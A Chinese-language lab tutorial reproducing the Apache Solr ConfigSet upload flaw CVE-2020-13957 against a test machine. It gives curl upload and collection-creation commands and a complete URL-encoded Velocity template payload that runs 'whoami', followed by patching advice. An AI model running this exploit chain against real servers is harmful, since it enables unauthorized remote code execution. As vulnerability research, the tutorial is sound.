Apche Solr 未授权上传漏洞(CVE-2020-13957)复现
字数 866 2025-08-15 21:33:32
Apache Solr 未授权上传漏洞(CVE-2020-13957)复现教程
漏洞描述
Apache Solr ConfigSet API存在未授权上传漏洞,攻击者利用该漏洞可实现远程代码执行(RCE)。该漏洞存在于特定版本的Solr中,允许攻击者绕过安全限制上传恶意配置集,进而通过Velocity模板执行任意命令。
影响版本
- Apache Solr 6.6.0 - 6.6.5
- Apache Solr 7.0.0 - 7.7.3
- Apache Solr 8.0.0 - 8.6.2
环境搭建
所需工具
- 靶机环境:Windows 10
- 攻击机:Kali Linux
- Solr版本:8.0.0(可从http://archive.apache.org/dist/lucene/solr/下载)
靶机配置
- 下载Solr 8.0.0并解压
- 启动Solr服务:
C:\solr-8.0.0\bin>solr.cmd start -c
漏洞复现步骤
1. 准备恶意配置集
-
在Kali中,导航到解压的Solr目录:
/solr-8.0.0/solr-8.0.0/server/solr/configsets/_default/conf -
编辑
solrconfig.xml文件,找到以下内容并修改:<name>params.resource.loader.enabled</name> <value>${velocity.params.resource.loader.enabled:true}</value>将
false改为true -
在
conf目录下打包所有文件:zip -r - * > mytest.zip
2. 利用漏洞上传配置集
使用curl命令上传恶意配置集(假设靶机IP为192.168.41.129):
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @mytest.zip "http://192.168.41.129:8983/solr/admin/configs?action=UPLOAD&name=mytest"
3. 创建恶意collection
基于上传的配置集创建新的collection:
curl "http://192.168.41.129:8983/solr/admin/collections?action=CREATE&name=mytest2&numShards=1&replicationFactor=1&wt=xml&collection.configName=mytest"
4. 执行远程命令
通过浏览器或curl访问以下URL执行命令(此处执行whoami):
http://192.168.41.129:8983/solr/mytest2/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
漏洞利用链分析
- 上传configset:利用ConfigSet API的未授权上传漏洞
- 基于上传的configset再次上传configset(跳过身份验证检测)
- 利用新configset创建collection
- 利用solrVelocity模板进行RCE
安全建议
- 升级到最新版本的Apache Solr
- 限制Solr管理界面的访问权限
- 禁用不必要的API功能
- 在生产环境中启用身份验证
免责声明
本文仅用于安全研究和渗透测试学习目的,请勿用于非法用途。所有测试应在授权环境下进行。